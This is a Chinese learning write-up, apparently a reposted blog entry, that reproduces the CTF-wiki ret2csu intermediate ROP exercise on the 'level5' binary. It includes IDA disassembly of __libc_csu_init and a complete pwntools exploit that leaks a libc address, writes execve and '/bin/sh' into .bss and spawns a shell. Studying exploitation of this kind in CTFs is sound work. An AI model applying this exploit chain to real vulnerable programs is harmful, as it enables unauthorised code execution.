pwn学习-中级ROP-1

CTF-wiki-中级ROP实例复现

ret2csu

libc_csu_init函数

ctf-wiki上的

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

自己用IDA查看的

实际使用中,以IDA上看到的为真实情况,所以需要调整一下参数的位置以及堆栈填充数量。

检查安全机制

第一次read函数,参数距离距离EBP80个字节

这里我实际操作中,因为libc_csu_init函数不是直接使用push pop来改变堆栈,所以payload做出相应的调整。这些细节在调试中可以观察到

发送第一段payload后,各个寄存器的值如下,使用脚本如下

from pwn import *
from LibcSearcher import LibcSearcher


level5 = ELF('./level5')
sh = process('./level5')

raw_input('debug?')
gdb.attach(sh,"b *0x400562") #在IDA里看到的vunable函数里的leave函数地址,调试时在此下断点


write_got = level5.got['write']
main = level5.symbols['main']

csu_pop_addr = 0x400606
csu_call_addr = 0x4005f0

def csu(rbx,rbp,r12,r13,r14,r15,last):
	#rdx=r15,rsi=r14,edi=r13
	payload = 'A'*(0x80+8)
	payload += p64(csu_pop_addr)+'A'*8+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_call_addr)
	payload += 'A'*0x38+p64(last)
	sh.send(payload)
	sleep(1)
sh.recvuntil('Hello, World\n')
#write(1,write_got,8) and return to main
csu(0,1,write_got,1,write_got,8,main)

sh.interactive()

执行到write函数,参数也对应正确的被识别出来。值得注意的是这里第一个参数和第三个参数的位置反了,所以需要在对应代码里修改。(因为libc_csu_函数不同,所以参数位置不同)同时顺利返回到main函数

开始构造第二段payload

以同样方式再次执行到csu,调用read函数,但是这次没有被识别出来。

最后一段payload以同样方式执行刚刚写入bss段的execve函数

去除调试,直接运行,成功获取权限。

写出exp,将之前不存在的语句写下注释。

from pwn import *
from LibcSearcher import LibcSearcher


level5 = ELF('./level5')
sh = process('./level5')

#raw_input('debug?')#调试时打开
#gdb.attach(sh,"b *0x400562")

#context.log_level='debug'#调试时打开
write_got = level5.got['write']
main = level5.symbols['main']
read_got = level5.got['read']
bss_base = level5.bss()

csu_pop_addr = 0x400606
csu_call_addr = 0x4005f0

def csu(rbx,rbp,r12,r13,r14,r15,last):
	#call r12(r15,r14,r13),return to last
	payload = 'A'*(0x80+8)
	payload += p64(csu_pop_addr)+'A'*8+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_call_addr)
	payload += 'A'*0x38+p64(last)
	sh.send(payload)
	sleep(1)
sh.recvuntil('Hello, World\n')
#write(1,write_got,8) and return to main
csu(0,1,write_got,1,write_got,8,main)

write_addr=u64(sh.recv()[0:8])
log.success('get write_addr:'+str(write_addr))

sh.recv(100,5)#接受5秒的数据,最多100个
log.success('start to search libc')
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr:' +str(execve_addr))

csu(0,1,read_got,0,bss_base,16,main)
sh.send(p64(execve_addr)+'/bin/sh\x00')


sh.recvuntil('Hello, World\n')
csu(0,1,bss_base,bss_base+8,0,0,main)

sh.interactive()

	

猜你喜欢

转载自blog.csdn.net/qq_38025365/article/details/88087510
今日推荐